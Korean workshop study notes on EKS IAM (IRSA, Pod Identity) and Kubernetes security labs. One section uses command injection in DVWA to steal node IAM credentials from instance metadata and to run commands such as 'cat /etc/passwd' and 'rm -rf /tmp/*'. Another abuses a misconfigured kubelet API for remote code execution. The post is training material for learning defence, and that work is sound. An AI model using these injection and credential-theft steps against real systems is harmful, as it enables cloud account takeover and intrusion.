⭐ 가시다(gasida) 님이 진행하는 AWS EKS Workshop 실습 스터디 게시글입니다.
게시글 상 소스코드, 사진에서 **굵게** 혹은 '''코드쉘''' 에 대한 부분이 들어가있을수도 있습니다 ⭐
IRSA 소개
파드가 특정 IAM 역할로 Assume 할때 토큰을 AWS에 전송하고, AWS는 토큰과 EKS IdP를 통해 해당 IAM 역할을 사용할 수 있는지 검증
- Node 에 Role을 Mapping 하지말고
- Pod 에 Role을 Mapping 해서 사용하겠다 라는 뜻
실습1: Pod를 만들고, SA Token 을 안만드는 실습
- SA 를 아무것도 설정하지않음(default로 생성)
- 해당 Pod 는 기동되면 s3 ls 명령어를 실행
- 그러나 권한이 없어서 Access Denied 된 모습(SA에 Token이 부여되어야함)
# 파드1 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: eks-iam-test1
spec:
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
args: ['s3', 'ls']
restartPolicy: Never
automountServiceAccountToken: false
terminationGracePeriodSeconds: 0
EOF
# 확인
kubectl get pod
kubectl describe pod
# 로그 확인
kubectl logs eks-iam-test1
# 파드1 삭제
kubectl delete pod eks-iam-test1
실습2: Pod 를 만들고, SA Token을 만드는 실습
# 파드2 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: eks-iam-test2
spec:
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
terminationGracePeriodSeconds: 0
EOF
# 확인
kubectl get pod
kubectl describe pod
kubectl get pod eks-iam-test2 -o yaml | kubectl neat | yh
kubectl exec -it eks-iam-test2 -- ls /var/run/secrets/kubernetes.io/serviceaccount
kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ;echo
# aws 서비스 사용 시도
kubectl exec -it eks-iam-test2 -- aws s3 ls
# 서비스 어카운트 토큰 확인
SA_TOKEN=$(kubectl exec -it eks-iam-test2 -- cat /var/run/secrets/kubernetes.io/serviceaccount/token)
echo $SA_TOKEN
SA_TOKEN 값을 그대로 Encoded 에 복붙해서 확인하기
# jwt 혹은 아래 JWT 웹 사이트 이용 https://jwt.io/
jwt decode $SA_TOKEN --json --iso8601
...
#헤더
{
"alg": "RS256",
"kid": "1a8fcaee12b3a8f191327b5e9b997487ae93baab"
}
# 페이로드 : OAuth2에서 쓰이는 aud, exp 속성 확인! > projectedServiceAccountToken 기능으로 토큰에 audience,exp 항목을 덧붙힘
## iss 속성 : EKS OpenID Connect Provider(EKS IdP) 주소 > 이 EKS IdP를 통해 쿠버네티스가 발급한 토큰이 유요한지 검증
{
"aud": [
"https://kubernetes.default.svc" # 해당 주소는 k8s api의 ClusterIP 서비스 주소 도메인명, kubectl get svc kubernetes
],
"exp": 1716619848,
"iat": 1685083848,
"iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
"kubernetes.io": {
"namespace": "default",
"pod": {
"name": "eks-iam-test2",
"uid": "10dcccc8-a16c-4fc7-9663-13c9448e107a"
},
"serviceaccount": {
"name": "default",
"uid": "acb6c60d-0c5f-4583-b83b-1b629b0bdd87"
},
"warnafter": 1685087455
},
"nbf": 1685083848,
"sub": "system:serviceaccount:default:default"
}
# 파드2 삭제
kubectl delete pod eks-iam-test2
실습3 : IRS정보를 확인(OIDC 정보)
kubernetes SA - AWS IAM 과 바인딩 시켜주는 과정
- cloudformation으로 생성됨
# Create an iamserviceaccount - AWS IAM role bound to a Kubernetes service account
eksctl create **iamserviceaccount** \
--name **my-sa** \
--namespace **default** \
--cluster $CLUSTER_NAME \
--approve \
--attach-policy-arn $(aws iam list-policies --query 'Policies[?PolicyName==`AmazonS3ReadOnlyAccess`].Arn' --output text)
Mutate 가 create 할때 넣는부분
# 파드3번 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: eks-iam-test3
spec:
serviceAccountName: my-sa
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
terminationGracePeriodSeconds: 0
EOF
# 해당 SA를 파드가 사용 시 mutatingwebhook으로 Env,Volume 추가함
kubectl get mutatingwebhookconfigurations pod-identity-webhook -o yaml | kubectl neat | yh
# 파드 생성 yaml에 없던 내용이 추가됨!!!!!
# Pod Identity Webhook은 mutating webhook을 통해 아래 Env 내용과 1개의 볼륨을 추가함
kubectl get pod eks-iam-test3
kubectl get pod eks-iam-test3 -o yaml | kubectl neat | yh
...
volumeMounts:
- mountPath: /var/run/secrets/eks.amazonaws.com/serviceaccount
name: aws-iam-token
readOnly: true
...
volumes:
- name: aws-iam-token
projected:
sources:
- serviceAccountToken:
audience: sts.amazonaws.com
expirationSeconds: 86400
path: token
...
pod 내부에 get-caller-identity 는 실행 성공
kubectl exec -it eks-iam-test3 -- ls /var/run/secrets/eks.amazonaws.com/serviceaccount
token
kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token ; echo
...
kubectl describe pod eks-iam-test3
...
Environment:
AWS_STS_REGIONAL_ENDPOINTS: regional
AWS_DEFAULT_REGION: ap-northeast-2
AWS_REGION: ap-northeast-2
AWS_ROLE_ARN: arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN
AWS_WEB_IDENTITY_TOKEN_FILE: /var/run/secrets/eks.amazonaws.com/serviceaccount/token
Mounts:
/var/run/secrets/eks.amazonaws.com/serviceaccount from aws-iam-token (ro)
/var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-69rh8 (ro)
...
Volumes:
aws-iam-token:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 86400
kube-api-access-sn467:
Type: Projected (a volume that contains injected data from multiple sources)
TokenExpirationSeconds: 3607
ConfigMapName: kube-root-ca.crt
ConfigMapOptional: <nil>
DownwardAPI: true
...
# 파드에서 aws cli 사용 확인
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl exec -it eks-iam-test3 -- aws sts get-caller-identity --query Arn
"arn:aws:sts::911283464785:assumed-role/eksctl-myeks-addon-iamserviceaccount-default-Role1-GE2DZKJYWCEN/botocore-session-1685179271"
# 되는 것고 안되는 것은 왜그런가?
kubectl exec -it eks-iam-test3 -- aws s3 ls
kubectl exec -it eks-iam-test3 -- aws ec2 describe-instances --region ap-northeast-2
kubectl exec -it eks-iam-test3 -- aws ec2 describe-vpcs --region ap-northeast-2
# 파드에 볼륨 마운트 2개 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].volumeMounts'
[
{
"mountPath": "/var/run/secrets/kubernetes.io/serviceaccount",
"name": "kube-api-access-sn467",
"readOnly": true
},
{
"mountPath": "/var/run/secrets/eks.amazonaws.com/serviceaccount",
"name": "aws-iam-token",
"readOnly": true
}
]
# aws-iam-token 볼륨 정보 확인 : JWT 토큰이 담겨져있고, exp, aud 속성이 추가되어 있음
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.volumes[] | select(.name=="aws-iam-token")'
{
"name": "aws-iam-token",
"projected": {
"defaultMode": 420,
"sources": [
{
"serviceAccountToken": {
"audience": "sts.amazonaws.com",
"expirationSeconds": 86400,
"path": "token"
}
}
]
}
}
# api 리소스 확인
kubectl api-resources |grep hook
mutatingwebhookconfigurations admissionregistration.k8s.io/v1 false MutatingWebhookConfiguration
validatingwebhookconfigurations admissionregistration.k8s.io/v1 false ValidatingWebhookConfiguration
#
kubectl explain mutatingwebhookconfigurations
#
kubectl get MutatingWebhookConfiguration
NAME WEBHOOKS AGE
pod-identity-webhook 1 147m
vpc-resource-mutating-webhook 1 147m
# pod-identity-webhook 확인
kubectl describe MutatingWebhookConfiguration pod-identity-webhook
kubectl get MutatingWebhookConfiguration pod-identity-webhook -o yaml | yh
# AWS_WEB_IDENTITY_TOKEN_FILE 확인
IAM_TOKEN=$(kubectl exec -it eks-iam-test3 -- cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $IAM_TOKEN
# JWT 웹 확인
{
"aud": [
"sts.amazonaws.com"
],
"exp": 1685175662,
"iat": 1685089262,
"iss": "https://oidc.eks.ap-northeast-2.amazonaws.com/id/F6A7523462E8E6CDADEE5D41DF2E71F6",
"kubernetes.io": {
"namespace": "default",
"pod": {
"name": "eks-iam-test3",
"uid": "73f66936-4d66-477a-b32b-853f7a1c22d9"
},
"serviceaccount": {
"name": "my-sa",
"uid": "3b31aa85-2718-45ed-8c1c-75ed012c1a68"
}
},
"nbf": 1685089262,
"sub": "system:serviceaccount:default:my-sa"
}
# env 변수 확인
kubectl get pod eks-iam-test3 -o json | jq -r '.spec.containers | .[].env'
[
{
"name": "AWS_STS_REGIONAL_ENDPOINTS",
"value": "regional"
},
{
"name": "AWS_DEFAULT_REGION",
"value": "ap-northeast-2"
},
{
"name": "AWS_REGION",
"value": "ap-northeast-2"
},
{
"name": "AWS_ROLE_ARN",
"value": "arn:aws:iam::911283464785:role/eksctl-myeks-addon-iamserviceaccount-default-Role1-1MJUYW59O6QGH"
},
{
"name": "AWS_WEB_IDENTITY_TOKEN_FILE",
"value": "/var/run/secrets/eks.amazonaws.com/serviceaccount/token"
}
]
지금까지 한 IRSA의 문제점: ODIC 값이 공개된 상태임
- AWS는 JWT 토큰의 유효성만 확인 하지만 토큰 파일과 서비스 계정에 지정된 실제 역할 간의 일관성을 보장하지는 않음 → Condition 잘못 설정 시, 토큰과 역할 ARN만 있다면 동일 토큰으로 다른 역할을 맡을 수 있음
이게 무슨 이야기냐면…
irsa 에서 만든건데, Condition에서 String으로 sts.amazonaws.com, system:serviceaccount:default:my-sa 로만 사용할 수 있게 설정해놓은 상태임.
- SA가 defualt ns 이며, 이름이 my-sa 인 것만 가능하게 설정해놓은상태
이게 진짜 문제가 많다고 하는게… IRSA 관리가 진짜 개빡셈
⇒ 그래서 나온게 Pod Identity 입니다
다음 실습을 위한 리소스 제거
#
kubectl delete pod eks-iam-test3
eksctl delete iamserviceaccount --cluster $CLUSTER_NAME --name my-sa --namespace default
eksctl get iamserviceaccount --cluster $CLUSTER_NAME
kubectl get sa
[신기능]
EKS Pod Identity
- OIDC Provider 가 없음
eks-pod-identity-agent 설치
#
ADDON=eks-pod-identity-agent
aws eks describe-addon-versions \
--addon-name $ADDON \
--kubernetes-version 1.28 \
--query "addons[].addonVersions[].[addonVersion, compatibilities[].defaultVersion]" \
--output text
v1.2.0-eksbuild.1
True
v1.1.0-eksbuild.1
False
v1.0.0-eksbuild.1
False
# 모니터링
watch -d kubectl get pod -A
# 설치
aws eks create-addon --cluster-name $CLUSTER_NAME --addon-name eks-pod-identity-agent
혹은
eksctl create addon --cluster $CLUSTER_NAME --name eks-pod-identity-agent --version 1.2.0
eks-pod-identity-agent
- 특정한 권한이 필요한 Pod 가 eks-pod-identity-agent 에 요청해서 권한을 받는다!
- hostNetwork : true 라는 것 : pod network 를 사용하지 않고, host network 를 사용한다
# 확인
eksctl get addon --cluster $CLUSTER_NAME
kubectl -n kube-system get daemonset eks-pod-identity-agent
kubectl -n kube-system get pods -l app.kubernetes.io/name=eks-pod-identity-agent
kubectl get ds -n kube-system eks-pod-identity-agent -o yaml | kubectl neat | yh
...
containers:
- args:
- --port
- "80"
- --cluster-name
- myeks
- --probe-port
- "2703"
command:
- /go-runner
- /eks-pod-identity-agent
- server
....
ports:
- containerPort: 80
name: proxy
protocol: TCP
- containerPort: 2703
name: probes-port
protocol: TCP
...
securityContext:
capabilities:
add:
- CAP_NET_BIND_SERVICE
...
hostNetwork: true
...
# 네트워크 정보 확인
## EKS Pod Identity Agent uses the hostNetwork of the node and it uses port 80 and port 2703 on a link-local address on the node.
## This address is 169.254.170.23 for IPv4 and [fd00:ec2::23] for IPv6 clusters.
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ss -tnlp | grep eks-pod-identit; echo "-----";done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c route; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c -br -4 addr; done
for node in $N1 $N2 $N3; do ssh ec2-user@$node sudo ip -c addr; done
#
eksctl create podidentityassociation \
--cluster $CLUSTER_NAME \
--namespace default \
--service-account-name s3-sa \
--role-name s3-eks-pod-identity-role \
--permission-policy-arns arn:aws:iam::aws:policy/AmazonS3ReadOnlyAccess \
--region $AWS_REGION
# 확인
kubectl get sa
eksctl get podidentityassociation --cluster $CLUSTER_NAME
ASSOCIATION ARN NAMESPACE SERVICE ACCOUNT NAME IAM ROLE ARN
arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-blaanudo8dc1dbddw default s3-sa arn:aws:iam::911283464785:role/s3-eks-pod-identity-role
aws eks list-pod-identity-associations --cluster-name $CLUSTER_NAME | jq
{
"associations": [
{
"clusterName": "myeks",
"namespace": "default",
"serviceAccount": "s3-sa",
"associationArn": "arn:aws:eks:ap-northeast-2:911283464785:podidentityassociation/myeks/a-pm07a3bg79bqa3p24",
"associationId": "a-pm07a3bg79bqa3p24"
}
]
}
# ABAC 지원을 위해 sts:Tagsession 추가
aws iam get-role --query 'Role.AssumeRolePolicyDocument' --role-name s3-eks-pod-identity-role | jq .
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "pods.eks.amazonaws.com"
},
"Action": [
"sts:AssumeRole",
"sts:TagSession"
]
}
]
}
# 서비스어카운트, 파드 생성
kubectl create sa s3-sa
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: eks-pod-identity
spec:
serviceAccountName: s3-sa
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
terminationGracePeriodSeconds: 0
EOF
#
kubectl get pod eks-pod-identity -o yaml | kubectl neat| yh
kubectl exec -it eks-pod-identity -- aws sts get-caller-identity --query Arn
kubectl exec -it eks-pod-identity -- aws s3 ls
kubectl exec -it eks-pod-identity -- env | grep AWS
WS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials
AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
AWS_STS_REGIONAL_ENDPOINTS=regional
AWS_DEFAULT_REGION=ap-northeast-2
AWS_REGION=ap-northeast-2
# 토큰 정보 확인
kubectl exec -it eks-pod-identity -- ls /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/
kubectl exec -it eks-pod-identity -- cat /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token
실습 리소스 삭제
eksctl delete podidentityassociation --cluster $CLUSTER_NAME --namespace default --service-account-name s3-sa
kubectl delete pod eks-pod-identity
kubectl delete sa s3-sa
5. OWASP Kubernetes Top Ten
EKS Pod 가 IMDS API 를 악용하는 시나리오
CERT_ARN 확인
CERT_ARN=aws acm list-certificates --query 'CertificateSummaryList[].CertificateArn[]' --output text
echo $CERT_ARN
mysql 배포
cat <<EOT > mysql.yaml
apiVersion: v1
kind: Secret
metadata:
name: dvwa-secrets
type: Opaque
data:
# s3r00tpa55
ROOT_PASSWORD: czNyMDB0cGE1NQ==
# dvwa
DVWA_USERNAME: ZHZ3YQ==
# p@ssword
DVWA_PASSWORD: cEBzc3dvcmQ=
# dvwa
DVWA_DATABASE: ZHZ3YQ==
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-mysql-service
spec:
selector:
app: dvwa-mysql
tier: backend
ports:
- protocol: TCP
port: 3306
targetPort: 3306
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-mysql
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-mysql
tier: backend
template:
metadata:
labels:
app: dvwa-mysql
tier: backend
spec:
containers:
- name: mysql
image: mariadb:10.1
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
ports:
- containerPort: 3306
env:
- name: MYSQL_ROOT_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: ROOT_PASSWORD
- name: MYSQL_USER
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
EOT
kubectl apply -f mysql.yaml
dvwa 배포
cat <<EOT > dvwa.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: dvwa-config
data:
RECAPTCHA_PRIV_KEY: ""
RECAPTCHA_PUB_KEY: ""
SECURITY_LEVEL: "low"
PHPIDS_ENABLED: "0"
PHPIDS_VERBOSE: "1"
PHP_DISPLAY_ERRORS: "1"
---
apiVersion: v1
kind: Service
metadata:
name: dvwa-web-service
spec:
selector:
app: dvwa-web
type: ClusterIP
ports:
- protocol: TCP
port: 80
targetPort: 80
---
apiVersion: apps/v1
kind: Deployment
metadata:
name: dvwa-web
spec:
replicas: 1
selector:
matchLabels:
app: dvwa-web
template:
metadata:
labels:
app: dvwa-web
spec:
containers:
- name: dvwa
image: cytopia/dvwa:php-8.1
ports:
- containerPort: 80
resources:
requests:
cpu: "0.3"
memory: 256Mi
limits:
cpu: "0.3"
memory: 256Mi
env:
- name: RECAPTCHA_PRIV_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PRIV_KEY
- name: RECAPTCHA_PUB_KEY
valueFrom:
configMapKeyRef:
name: dvwa-config
key: RECAPTCHA_PUB_KEY
- name: SECURITY_LEVEL
valueFrom:
configMapKeyRef:
name: dvwa-config
key: SECURITY_LEVEL
- name: PHPIDS_ENABLED
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_ENABLED
- name: PHPIDS_VERBOSE
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHPIDS_VERBOSE
- name: PHP_DISPLAY_ERRORS
valueFrom:
configMapKeyRef:
name: dvwa-config
key: PHP_DISPLAY_ERRORS
- name: MYSQL_HOSTNAME
value: dvwa-mysql-service
- name: MYSQL_DATABASE
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_DATABASE
- name: MYSQL_USERNAME
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_USERNAME
- name: MYSQL_PASSWORD
valueFrom:
secretKeyRef:
name: dvwa-secrets
key: DVWA_PASSWORD
EOT
kubectl apply -f dvwa.yaml
ingress 배포
cat <<EOT > dvwa-ingress.yaml
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
annotations:
alb.ingress.kubernetes.io/certificate-arn: $CERT_ARN
alb.ingress.kubernetes.io/group.name: study
alb.ingress.kubernetes.io/listen-ports: '[{"HTTPS":443}, {"HTTP":80}]'
alb.ingress.kubernetes.io/load-balancer-name: myeks-ingress-alb
alb.ingress.kubernetes.io/scheme: internet-facing
alb.ingress.kubernetes.io/ssl-redirect: "443"
alb.ingress.kubernetes.io/success-codes: 200-399
alb.ingress.kubernetes.io/target-type: ip
name: ingress-dvwa
spec:
ingressClassName: alb
rules:
- host: dvwa.$MyDomain
http:
paths:
- backend:
service:
name: dvwa-web-service
port:
number: 80
path: /
pathType: Prefix
EOT
kubectl apply -f dvwa-ingress.yaml
echo -e "DVWA Web https://dvwa.$MyDomain"
- 웹 접속 admin / password → DB 구성을 위해 클릭 (재로그인) ⇒ admin / password
Command Injection 메뉴 클릭
- 실습 이미지에서 나온 토큰값에 주의. 이미지에서는
AQAEAPlr4DxeBJE1u1XgWtQj2vlg6F4l2mCzRmdGvlnixxgKuz8wbA==
값을 사용함
- 실습 이미지에서 나온 Node 값에 주의. 이미지에서는
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-8mj3PaoIK748
값을 사용함
# 명령 실행 가능 확인
8.8.8.8 ; echo ; hostname
8.8.8.8 ; echo ; whoami
# IMDSv2 토큰 복사해두기
8.8.8.8 ; curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"
AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==
# EC2 Instance Profile (IAM Role) 이름 확인
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/
eksctl-myeks-nodegroup-ng1-NodeInstanceRole-kgZD1dU60nuF
# EC2 Instance Profile (IAM Role) 자격증명탈취
8.8.8.8 ; curl -s -H "X-aws-ec2-metadata-token: AQAEACFn9eezuMlE-T5OHBsuAlOKh31pIq8UGOnRzzFfuhfbRGwSJA==" –v http://169.254.169.254/latest/meta-data/iam/security-credentials/eksctl-myeks-nodegroup-ng1-NodeInstanceRole-kgZD1dU60nuF
{
"Code" : "Success",
"LastUpdated" : "2023-05-28T08:57:40Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA5ILF2FJITL3SDNHF",
"SecretAccessKey" : "vYKlEwY2sEOhZuSLl3YHuuantav9wCQyuBXi/Utq",
"Token" : "IQoJb3JpZ2luX2VjECEaDmFwLW5vcnRoZWFzdC0yIkcwRQIgFGjfFf2Mw+PBWyyiwdvz/F4BTA9jWFsxxOlqnuGr9zUCIQDpG/aispNmH33bKme7+nOcgixKwrZJAiElX6HD9ZybWyrMBQhaEAEaDDkxMTI4MzQ2NDc4NSIM852DvLWwQ2F0+h3YKqkFORn7pJxNAZ62USbc6+MwtCa+F2scLKsBgcAtsGVu9pMbQIqiFqojIw1BX+7mDu7V+wVcwifMNV+5idGSewHnAmflFRcFFDqmmaR963rZ5D+HVsdNnWWzEYYI7YRREsoHEu1qp4WfAolF0wry5bZUVuKW4nfRFI7gWdHjEvGf3Q8X6g42N4NL25APbk4f4L1G/NyfwSNtX6SH/KJOkEfICCl0dERTeTLKPmFEyRg6eW2GodR2EOmrzNgV526elVAGr0xR+dSKLHtueoI6RMQzVcWa7PTTfCpy5fdgfJddewrWcqiVbS5XdsFsSyAryYoQsa2Qv2OcC0kPOicDOsvx0gTg9Aa0hQ+jMmjoiKXYp/Tl5uNzrjyUyEEwm8BO54Bz40qAVJTRAKXFfgpg6ypNeGeS8tsrZ0zIGSlU0bzBCDwbtPkmwk8vposE0sbLZltFypdJOCZwkL4PeQGG3pIVoFvq0ldlw+YMDJ84iUcRGIsyyPT1a5dAkHC+NYcJ9dd02hGpEfJLhj5I6MbzFHc2GAbBivT7a6P+Td2yZEP8YbpTZi9c/yXptV6r+ALvpeSCFpsr0NrPNpesxyOXc0f30fGHiTaodZ/a1avjb9gyotM+LHgKELvBlPt48Hu8duoAclP+/BvLUJHQAbAgKXGcbxtyvZiFEvrw2DPlJNgDcp06CQMzUGtyboE6H4B8gZxqVUI0c8WcCvKpsCYTWqj8EUjFLuUvBu3EzN/z8XynFdoLV1GLR/HRFpYmcI0InP3ScHi/tFoxs3SqPjcDn0G0QVd+vix4CxwXUHGehR4pEKlUoUxUzpCcE61MgZIijM54wcb4CJ6lL0YQQT0hoJBkE574xa4OibT/6d8qRP+9LzlkJ8Ir2FLN2mcjluPYLNs/nYPdqbZ5xlPeML6vzKMGOrEBz8jfqk9F1TtITJs/+EIouyyG/1cEJFYFEcqJJZ1nDqvY4CY11HX1GU8GDtWyYfXGOejQK1dTB8RCOcYdfKYXQGHT3Dl7Y/zLrA69Si7Vs28oZfEHLd0BDp6sFY8u1zN6jxI6NLnICa00RbWkqI70SiAzLKWAektS5LgbDU7liyH90vJ0IfqnlntN4nNFyB40l8JFlpL7ks+mGzsDLlCZjXWdPjrX/emHek7pktkfnI9V",
"Expiration" : "2023-05-28T15:03:24Z"
}
# 그외 다양한 명령 실행 가능
8.8.8.8; cat /etc/passwd
8.8.8.8; rm -rf /tmp/*
자격증명 탈취함(보안을 Low level 로 설정하기만 해도 취약하니까 답이없다는거임... )
- [myeks-bastion]
# 노드의 kubelet API 인증과 인가 관련 정보 확인
**ssh ec2-user@$N1 cat /etc/kubernetes/kubelet/kubelet-config.json | jq**
ssh ec2-user@$N1 cat /var/lib/kubelet/kubeconfig | yh
# 노드의 kubelet 사용 포트 확인
**ssh ec2-user@$N1 sudo ss -tnlp | grep kubelet**
LISTEN 0 4096 127.0.0.1:10248 0.0.0.0:* users:(("kubelet",pid=2940,fd=20))
LISTEN 0 4096 *:10250 *:* users:(("kubelet",pid=2940,fd=21))
# 데모를 위해 awscli 파드 생성
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: **myawscli**
spec:
#serviceAccountName: my-sa
containers:
- name: my-aws-cli
image: amazon/aws-cli:latest
command: ['sleep', '36000']
restartPolicy: Never
terminationGracePeriodSeconds: 0
EOF
# 파드 사용
kubectl exec -it **myawscli** -- **aws sts get-caller-identity --query Arn**
kubectl exec -it **myawscli** -- **aws s3 ls**
kubectl exec -it **myawscli** -- **aws ec2 describe-instances --region ap-northeast-2 --output table --no-cli-pager**
kubectl exec -it **myawscli** -- **aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager**
- [myeks-bastion-2] kubeletct 설치 및 사용 - 링크
- 실습에서는 N1=192.168.1.17 으로 설정
- 10250 은 kubelet의 버전
# 기존 kubeconfig 삭제
**rm -rf ~/.kube**
# 다운로드
**curl -LO https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64 && chmod a+x ./kubeletctl_linux_amd64 && mv ./kubeletctl_linux_amd64 /usr/local/bin/kubeletctl**
kubeletctl version
kubeletctl help
# 노드1 IP 변수 지정
N1=<각자 자신의 노드1의 PrivateIP>
N1=192.168.1.81
# 노드1 IP로 Scan
**kubeletctl scan --cidr $N1/32**
# 노드1에 kubelet API 호출 시도
**curl -k https://$N1:10250/pods; echo**
Unauthorized
- [myeks-bastion] → 노드1 접속 : kubelet-config.json 수정
# 노드1 접속
ssh ec2-user@$N1
-----------------------------
# 미흡한 인증/인가 설정으로 변경
sudo vi /etc/kubernetes/kubelet/kubelet-config.json
...
"authentication": {
**"anonymous": {
"enabled": true**
...
},
"**authorization**": {
**"mode": "AlwaysAllow",**
...
# kubelet restart
**sudo systemctl restart kubelet**
systemctl status kubelet
-----------------------------
- [myeks-bastion-2] kubeletct 사용
# 파드 목록 확인
curl -s -k https://$N1:10250/pods | jq
# kubelet-config.json 설정 내용 확인
curl -k https://$N1:10250/configz | jq
**# kubeletct 사용**
# Return kubelet's configuration
kubeletctl -s $N1 configz | jq
# Get list of pods on the node
**kubeletctl -s $N1 pods**
# Scans for nodes with opened kubelet API > Scans for for all the tokens in a given Node
kubeletctl -s $N1 scan token
# 단, 아래 실습은 워커노드1에 myawscli 파드가 배포되어 있어야 실습이 가능. 물론 노드2~3에도 kubelet 수정하면 실습 가능함.
# kubelet API로 명령 실행 : <네임스페이스> / <파드명> / <컨테이너명>
curl -k https://$N1:10250/run/default/myawscli/my-aws-cli -d "cmd=**aws --version**"
# Scans for nodes with opened kubelet API > remote code execution on their containers
**kubeletctl -s $N1 scan rce**
# Run commands inside a container
**kubeletctl -s $N1 exec "/bin/bash" -n default -p myawscli -c my-aws-cli**
--------------------------------
export
aws --version
aws ec2 describe-vpcs --region ap-northeast-2 --output table --no-cli-pager
exit
--------------------------------
# Return resource usage metrics (such as container CPU, memory usage, etc.)
kubeletctl -s $N1 metrics
⇒ kubelet의 미흡한 설정으로 인해 데이터를 이만큼이나 탈취당할 수 있다.
6. Kyverno
전체 API 시나리오에서 Mutating admission, Validating admission 을 진행할 예정
설치
- kube-system ns 에 있는 것들은 Kyverno 에 적용하지 않게하는 설정(공식문서 참고)
# 설치
# EKS 설치 시 참고 https://kyverno.io/docs/installation/platform-notes/#notes-for-eks-users
# 모니터링 참고 https://kyverno.io/docs/monitoring/
cat << EOF > kyverno-value.yaml
config:
resourceFiltersExcludeNamespaces: [ kube-system ]
admissionController:
serviceMonitor:
enabled: true
backgroundController:
serviceMonitor:
enabled: true
cleanupController:
serviceMonitor:
enabled: true
reportsController:
serviceMonitor:
enabled: true
EOF
kubectl create ns kyverno
helm repo add kyverno https://kyverno.github.io/kyverno/
helm install kyverno kyverno/kyverno --version 3.2.0-rc.3 -f kyverno-value.yaml -n kyverno
# 확인
kubectl get all -n kyverno
kubectl get crd | grep kyverno
kubectl get pod,svc -n kyverno
# (참고) 기본 인증서 확인 https://kyverno.io/docs/installation/customization/#default-certificates
# step-cli 설치 https://smallstep.com/docs/step-cli/installation/
wget https://dl.smallstep.com/cli/docs-cli-install/latest/step-cli_amd64.rpm
sudo rpm -i step-cli_amd64.rpm
#
kubectl -n kyverno get secret
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d
kubectl -n kyverno get secret kyverno-svc.kyverno.svc.kyverno-tls-ca -o jsonpath='{.data.tls\.crt}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
Subject: *.kyverno.svc
Issuer: *.kyverno.svc
Valid from: 2024-04-07T06:05:52Z
to: 2025-04-07T07:05:52Z
#
kubectl get validatingwebhookconfiguration kyverno-policy-validating-webhook-cfg -o jsonpath='{.webhooks[0].clientConfig.caBundle}' | base64 -d | step certificate inspect --short
X.509v3 Root CA Certificate (RSA 2048) [Serial: 0]
Subject: *.kyverno.svc
Issuer: *.kyverno.svc
Valid from: 2024-04-07T06:05:52Z
to: 2025-04-07T07:05:52Z
prometheus 에서 확인가능
grafana 대시보드 : 15987, 15804
- Policy and Role : Kyverno Policy는 rules 모음 - Link
